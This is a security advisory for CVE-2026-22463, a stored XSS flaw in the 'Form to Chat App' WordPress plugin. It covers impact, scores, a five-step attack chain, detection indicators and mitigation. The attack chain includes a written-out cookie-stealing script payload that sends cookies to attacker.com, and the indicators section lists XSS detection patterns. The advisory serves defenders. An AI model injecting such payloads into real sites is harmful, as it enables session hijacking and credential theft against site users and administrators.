CVE-2026-22463: 
WordPress vulnerability analysis and mitigation

CVE-2026-22463 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Form to Chat App" WordPress plugin developed by Micro.company. It affects all versions of the plugin up to and including 1.2.5, with no lower version bound specified. The vulnerability was reported by Patchstack and published on January 22, 2026, with a CVSS v3.1 base score of 6.5 (Medium), assigned by CISA-ADP (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts through the plugin's form fields, which are then persistently stored and rendered in the browser of any user who views the affected page. The attack vector is network-based, requires low privileges and user interaction (a victim visiting the page), and has a changed scope, meaning the injected script can affect resources beyond the vulnerable component itself (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of the affected WordPress site. Because the payload is stored server-side, every user who visits the compromised page is at risk without any further attacker interaction. The changed scope indicates potential for impact beyond the plugin itself, affecting the broader WordPress environment (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the "Form to Chat App" plugin (slug: form-to-chat) at version 1.2.5 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or log in as a low-privileged user (e.g., subscriber or contributor) on the target WordPress site.
3. Inject malicious payload: Submit a crafted form input containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) through the plugin's form interface.
4. Payload stored: The plugin fails to properly sanitize or escape the input before storing it in the database, persisting the malicious script.
5. Victim triggers execution: When an administrator or other user visits the page rendering the stored form data, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Feedly, Patchstack).

• Logs: WordPress access logs showing POST requests to form submission endpoints from low-privilege accounts containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, <script>, onerror=, onload=).
• Database: Unexpected JavaScript or HTML script tags stored in the wp_options or plugin-specific database tables associated with the form-to-chat plugin.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages containing the plugin's form output, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for a stored XSS; however, monitor for new or modified plugin files in wp-content/plugins/form-to-chat/ that may indicate post-exploitation tampering.

Users should update the "Form to Chat App" plugin to a version beyond 1.2.5 if a patched release is available from the WordPress plugin repository. If no patched version is yet available, administrators should consider deactivating and removing the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence, Patchstack) can provide interim protection (Patchstack).